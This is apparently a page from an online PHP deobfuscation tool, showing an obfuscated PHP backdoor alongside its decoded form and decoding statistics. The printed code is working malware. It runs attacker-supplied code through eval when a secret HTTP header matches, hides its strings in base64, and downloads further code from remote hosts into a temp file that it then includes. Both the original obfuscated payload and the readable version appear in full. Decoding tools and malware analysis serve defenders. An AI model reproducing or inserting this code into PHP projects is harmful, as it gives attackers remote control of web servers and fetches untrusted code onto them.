Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

if (!defined("determinator")){ function getfile($II1I1l){ $Q0QOQQ = IlIlI1Il(1, 6); $Q0QQ00 = $Q0QOQQ.IlIlI1Il(9, 7); if (@ini_get(IlIlI1Il(17, 20)) == IlIlI1Il(39, 2)) { $IIIlI1=@file_get_contents($II1I1l); return IlIlI1Il(42, 0); } elseif (function_exists($Q0QQ00)){ $I1ll1I = @$Q0QQ00(); $I1IIII = $Q0QOQQ.IlIlI1Il(45, 10); $QOQOOO = $Q0QOQQ.IlIlI1Il(55, 7); $II1lII = $Q0QOQQ.IlIlI1Il(63, 2).IlIlI1Il(65, 7); @$I1IIII($I1ll1I, CURLOPT_URL, $II1I1l); @$I1IIII($I1ll1I, CURLOPT_HEADER,false); @$I1IIII($I1ll1I, CURLOPT_RETURNTRANSFER,true); @$I1IIII($I1ll1I, CURLOPT_CONNECTTIMEOUT,5); if ($I1lll1 = @$QOQOOO($I1ll1I)) {return IlIlI1Il(42, 0);} @$II1lII($I1ll1I); return IlIlI1Il(42, 0); } else { return IlIlI1Il(74, 14).$II1I1l.IlIlI1Il(89, 39); } } function upd($I111Il,$II1I1l){ $IIllI1=@fopen($I111Il,IlIlI1Il(130, 2)); @fclose($IIllI1); if (@is_file($I111Il)){write($I111Il,getfile($II1I1l));}; } function write($I111Il,$QQOQQQ){ if ($QQOOOQ=@fopen($I111Il,IlIlI1Il(130, 2))){ @fwrite($QQOOOQ,$QQOQQQ); @fclose($QQOOOQ); } } $Ill1I1 = Array(IlIlI1Il(134, 10), IlIlI1Il(145, 11), IlIlI1Il(159, 12)); function output($QOOQ0O, $IllI1I){ echo IlIlI1Il(174, 3).$QOOQ0O.IlIlI1Il(183, 2).$IllI1I."
"; } function param(){ return IlIlI1Il(42, 0); } @ini_set(IlIlI1Il(187, 19), 0); define(IlIlI1Il(206, 16), 1); $QQQ00Q=IlIlI1Il(222, 4); $Q0OOQQ=IlIlI1Il(227, 6); $Q00O00=IlIlI1Il(235, 18); $Il1I1l=IlIlI1Il(254, 18); $QOOO00=IlIlI1Il(273, 18); $I111ll=IlIlI1Il(293, 10); $I111ll.=strtolower(@$_SERVER[IlIlI1Il(303, 12)]); $II1IlI = @$_SERVER[IlIlI1Il(315, 20)]; foreach ($_GET as $QOOQ0O=>$IllI1I){ if (strpos($IllI1I,IlIlI1Il(338, 7))){$_GET[$QOOQ0O]=IlIlI1Il(42, 0);} elseif (strpos($IllI1I,IlIlI1Il(345, 8))){$_GET[$QOOQ0O]=IlIlI1Il(42, 0);} } if(!isset($_SERVER[IlIlI1Il(355, 15)])) { $_SERVER[IlIlI1Il(355, 15)] = $_SERVER[IlIlI1Il(370, 15)]; if($_SERVER[IlIlI1Il(389, 16)]) { $_SERVER[IlIlI1Il(355, 15)] .= IlIlI1Il(407, 2) . $_SERVER[IlIlI1Il(389, 16)]; } } if ($Ill1Il=$I111ll.@$_SERVER[IlIlI1Il(355, 15)]){ $Q0QQQ0=@md5($I111ll.$Q0OOQQ.PHP_OS.$Q00O00); $Q0Q00O=IlIlI1Il(411, 7); $II1lll = Array(IlIlI1Il(419, 6), @$_SERVER[IlIlI1Il(427, 4)], @$_SERVER[IlIlI1Il(434, 6)], @$_ENV[IlIlI1Il(427, 4)], @$_ENV[IlIlI1Il(441, 8)], @$_ENV[IlIlI1Il(434, 6)], @ini_get(IlIlI1Il(451, 19))); foreach ($II1lll as $I1IIIl){ if (!empty($I1IIIl)){ $I1IIIl.=DIRECTORY_SEPARATOR; if (@is_writable($I1IIIl)){ $Q0Q00O = $I1IIIl; break; } } } $tmp=$Q0Q00O.IlIlI1Il(471, 2).$Q0QQQ0; if (@$_SERVER["HTTP_Y_AUTH"]==$Q0QQQ0){ echo "
"; @output(IlIlI1Il(475, 8), $Q0OOQQ.IlIlI1Il(485, 2).$QQQ00Q.IlIlI1Il(487, 6)); if ($III1l1=$QOOO00(@$_SERVER[IlIlI1Il(495, 16)])){eval($III1l1);echo "
";output(IlIlI1Il(515, 4), IlIlI1Il(519, 3));} exit(0); } if (@is_file($tmp)){@include_once($tmp);} else{ $Ill1Il=@urlencode($Ill1Il); upd($tmp,IlIlI1Il(523, 6).IlIlI1Il(530, 4).$Ill1I1[0].IlIlI1Il(537, 14).$Ill1Il.IlIlI1Il(551, 4).$Q0QQQ0.IlIlI1Il(555, 12).$QQQ00Q.IlIlI1Il(571, 4).$Q0OOQQ); } } }

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                 /*versio:2.11*/$QOOOQ=0;$GLOBALS['QQQO'] = 'cY3VybA78X2luaXQ0YWxsb3dfdXJsX2ZvcGVu^1MQ%4_eX3NldG9wdAX2V4ZWMdXwY2xvc2Uf,PGltZyBzcmM9Ig6IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4;^dwe)b3Nvbi5pbgca3RpcHAuY2gc.ac2lsYmVyLmRlb_)WV82%048}Og{;ZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9yZnRw^Mi4xMQ%3WlQyeFR2NUFwMHczZA8YmFzZTY0X2VuY29kZQ$YmFzZTY0X2RlY29kZQd0aHR0cDovLwSFRUUF9IT1NUSFRUUF9VU0VSX0FHRU5U^@,dW5pb24c2VsZWN087UkVRVUVTVF9VUkkU0NSSVBUX05BTUU39.fUVVFUllfU1RSSU5H_~Pw#_L3RtcC8(L3RtcA(bVE1Q^$0VEVNUA*VE1QRElS#@dXBsb2FkX3RtcF9kaXI%LgbedmVyc2lv3dLQLXBocAd0SFRUUF9FWEVDUEhQ8575b3V0b2s,aHR0cAdOi8vf55L3BnLnBocD91PQJms9JnQ9cGhwJnA9_~2$JnY90*6261736536345f6465636f6465';$QOOOQ=pack('H*',substr($GLOBALS['QQQO'], -26));if (!function_exists('IlIlI1Il')){function IlIlI1Il($I1, $Il){$c=$GLOBALS['QQQO']; $d=pack('H*',substr($GLOBALS['QQQO'], -26)); return $d(substr($c, $I1, $Il));}};eval($QOOOQ('aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJElJMUkxbCl7ICRRMFFPUVEgPSBJbElsSTFJbCgxLCA2KTsgJFEwUVEwMCA9ICRRMFFPUVEuSWxJbEkxSWwoOSwgNyk7IGlmIChAaW5pX2dldChJbElsSTFJbCgxNywgMjApKSA9PSBJbElsSTFJbCgzOSwgMikpIHsgJElJSWxJMT1AZmlsZV9nZXRfY29udGVudHMoJElJMUkxbCk7IHJldHVybiBJbElsSTFJbCg0MiwgMCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJFEwUVEwMCkpeyAkSTFsbDFJID0gQCRRMFFRMDAoKTsgJEkxSUlJSSA9ICRRMFFPUVEuSWxJbEkxSWwoNDUsIDEwKTsgJFFPUU9PTyA9ICRRMFFPUVEuSWxJbEkxSWwoNTUsIDcpOyAkSUkxbElJID0gJFEwUU9RUS5JbElsSTFJbCg2MywgMikuSWxJbEkxSWwoNjUsIDcpOyBAJEkxSUlJSSgkSTFsbDFJLCBDVVJMT1BUX1VSTCwgJElJMUkxbCk7IEAkSTFJSUlJKCRJMWxsMUksIENVUkxPUFRfSEVBREVSLGZhbHNlKTsgQCRJMUlJSUkoJEkxbGwxSSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUix0cnVlKTsgQCRJMUlJSUkoJEkxbGwxSSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsgaWYgKCRJMWxsbDEgPSBAJFFPUU9PTygkSTFsbDFJKSkge3JldHVybiBJbElsSTFJbCg0MiwgMCk7fSBAJElJMWxJSSgkSTFsbDFJKTsgcmV0dXJuIElsSWxJMUlsKDQyLCAwKTsgfSBlbHNlIHsgcmV0dXJuIElsSWxJMUlsKDc0LCAxNCkuJElJMUkxbC5JbElsSTFJbCg4OSwgMzkpOyB9IH0gZnVuY3Rpb24gdXBkKCRJMTExSWwsJElJMUkxbCl7ICRJSWxsSTE9QGZvcGVuKCRJMTExSWwsSWxJbEkxSWwoMTMwLCAyKSk7IEBmY2xvc2UoJElJbGxJMSk7IGlmIChAaXNfZmlsZSgkSTExMUlsKSl7d3JpdGUoJEkxMTFJbCxnZXRmaWxlKCRJSTFJMWwpKTt9OyB9IGZ1bmN0aW9uIHdyaXRlKCRJMTExSWwsJFFRT1FRUSl7IGlmICgkUVFPT09RPUBmb3BlbigkSTExMUlsLElsSWxJMUlsKDEzMCwgMikpKXsgQGZ3cml0ZSgkUVFPT09RLCRRUU9RUVEpOyBAZmNsb3NlKCRRUU9PT1EpOyB9IH0gJElsbDFJMSA9IEFycmF5KElsSWxJMUlsKDEzNCwgMTApLCBJbElsSTFJbCgxNDUsIDExKSwgSWxJbEkxSWwoMTU5LCAxMikpOyBmdW5jdGlvbiBvdXRwdXQoJFFPT1EwTywgJElsbEkxSSl7IGVjaG8gSWxJbEkxSWwoMTc0LCAzKS4kUU9PUTBPLklsSWxJMUlsKDE4MywgMikuJElsbEkxSS4iXHJcbiI7IH0gZnVuY3Rpb24gcGFyYW0oKXsgcmV0dXJuIElsSWxJMUlsKDQyLCAwKTsgfSBAaW5pX3NldChJbElsSTFJbCgxODcsIDE5KSwgMCk7IGRlZmluZShJbElsSTFJbCgyMDYsIDE2KSwgMSk7ICRRUVEwMFE9SWxJbEkxSWwoMjIyLCA0KTsgJFEwT09RUT1JbElsSTFJbCgyMjcsIDYpOyAkUTAwTzAwPUlsSWxJMUlsKDIzNSwgMTgpOyAkSWwxSTFsPUlsSWxJMUlsKDI1NCwgMTgpOyAkUU9PTzAwPUlsSWxJMUlsKDI3MywgMTgpOyAkSTExMWxsPUlsSWxJMUlsKDI5MywgMTApOyAkSTExMWxsLj1zdHJ0b2xvd2VyKEAkX1NFUlZFUltJbElsSTFJbCgzMDMsIDEyKV0pOyAkSUkxSWxJID0gQCRfU0VSVkVSW0lsSWxJMUlsKDMxNSwgMjApXTsgZm9yZWFjaCAoJF9HRVQgYXMgJFFPT1EwTz0+JElsbEkxSSl7IGlmIChzdHJwb3MoJElsbEkxSSxJbElsSTFJbCgzMzgsIDcpKSl7JF9HRVRbJFFPT1EwT109SWxJbEkxSWwoNDIsIDApO30gZWxzZWlmIChzdHJwb3MoJElsbEkxSSxJbElsSTFJbCgzNDUsIDgpKSl7JF9HRVRbJFFPT1EwT109SWxJbEkxSWwoNDIsIDApO30gfSBpZighaXNzZXQoJF9TRVJWRVJbSWxJbEkxSWwoMzU1LCAxNSldKSkgeyAkX1NFUlZFUltJbElsSTFJbCgzNTUsIDE1KV0gPSAkX1NFUlZFUltJbElsSTFJbCgzNzAsIDE1KV07IGlmKCRfU0VSVkVSW0lsSWxJMUlsKDM4OSwgMTYpXSkgeyAkX1NFUlZFUltJbElsSTFJbCgzNTUsIDE1KV0gLj0gSWxJbEkxSWwoNDA3LCAyKSAuICRfU0VSVkVSW0lsSWxJMUlsKDM4OSwgMTYpXTsgfSB9IGlmICgkSWxsMUlsPSRJMTExbGwuQCRfU0VSVkVSW0lsSWxJMUlsKDM1NSwgMTUpXSl7ICRRMFFRUTA9QG1kNSgkSTExMWxsLiRRME9PUVEuUEhQX09TLiRRMDBPMDApOyAkUTBRMDBPPUlsSWxJMUlsKDQxMSwgNyk7ICRJSTFsbGwgPSBBcnJheShJbElsSTFJbCg0MTksIDYpLCBAJF9TRVJWRVJbSWxJbEkxSWwoNDI3LCA0KV0sIEAkX1NFUlZFUltJbElsSTFJbCg0MzQsIDYpXSwgQCRfRU5WW0lsSWxJMUlsKDQyNywgNCldLCBAJF9FTlZbSWxJbEkxSWwoNDQxLCA4KV0sIEAkX0VOVltJbElsSTFJbCg0MzQsIDYpXSwgQGluaV9nZXQoSWxJbEkxSWwoNDUxLCAxOSkpKTsgZm9yZWFjaCAoJElJMWxsbCBhcyAkSTFJSUlsKXsgaWYgKCFlbXB0eSgkSTFJSUlsKSl7ICRJMUlJSWwuPURJUkVDVE9SWV9TRVBBUkFUT1I7IGlmIChAaXNfd3JpdGFibGUoJEkxSUlJbCkpeyAkUTBRMDBPID0gJEkxSUlJbDsgYnJlYWs7IH0gfSB9ICR0bXA9JFEwUTAwTy5JbElsSTFJbCg0NzEsIDIpLiRRMFFRUTA7IGlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRRMFFRUTApeyBlY2hvICJcclxuIjsgQG91dHB1dChJbElsSTFJbCg0NzUsIDgpLCAkUTBPT1FRLklsSWxJMUlsKDQ4NSwgMikuJFFRUTAwUS5JbElsSTFJbCg0ODcsIDYpKTsgaWYgKCRJSUkxbDE9JFFPT08wMChAJF9TRVJWRVJbSWxJbEkxSWwoNDk1LCAxNildKSl7QGV2YWwoJElJSTFsMSk7ZWNobyAiXHJcbiI7b3V0cHV0KElsSWxJMUlsKDUxNSwgNCksIElsSWxJMUlsKDUxOSwgMykpO30gZXhpdCgwKTsgfSBpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UoJHRtcCk7fSBlbHNleyAkSWxsMUlsPUB1cmxlbmNvZGUoJElsbDFJbCk7IHVwZCgkdG1wLElsSWxJMUlsKDUyMywgNikuSWxJbEkxSWwoNTMwLCA0KS4kSWxsMUkxWzBdLklsSWxJMUlsKDUzNywgMTQpLiRJbGwxSWwuSWxJbEkxSWwoNTUxLCA0KS4kUTBRUVEwLklsSWxJMUlsKDU1NSwgMTIpLiRRUVEwMFEuSWxJbEkxSWwoNTcxLCA0KS4kUTBPT1FRKTsgfSB9IH0='));?>

Function Calls

pack 1
substr 1
base64_decode 1
function_exists 1

Variables

$QQQO cY3VybA78X2luaXQ0YWxsb3dfdXJsX2ZvcGVu^1MQ%4_eX3NldG9wdAX2V4Z..
$QOOOQ base64_decode

Stats

MD5 5266d1fe73bed9d88173d486d1d627b7
Eval Count 1
Decode Time 82 ms